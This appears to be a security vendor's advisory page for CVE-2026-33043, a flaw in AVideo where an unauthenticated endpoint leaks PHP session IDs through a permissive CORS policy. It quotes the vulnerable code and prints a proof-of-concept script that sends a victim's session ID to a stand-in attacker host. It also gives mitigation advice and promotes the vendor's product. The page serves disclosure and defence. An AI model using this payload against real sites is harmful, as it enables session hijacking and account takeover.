CVE-2026-33043 is a high-severity (CVSS 8.1) CWE-942 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33043.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33043 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.
Details
File: objects/phpsessionid.json.php
allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);
No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");
This means any external website can make a credentialed cross-origin request and read the session ID.
PoC
An attacker hosts the following page:
<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// d.phpsessid = victim's session ID
document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>
When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.
Impact
Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33043 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33043 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33043. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33043 in your dependencies?
O3 Security finds CVE-2026-33043 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.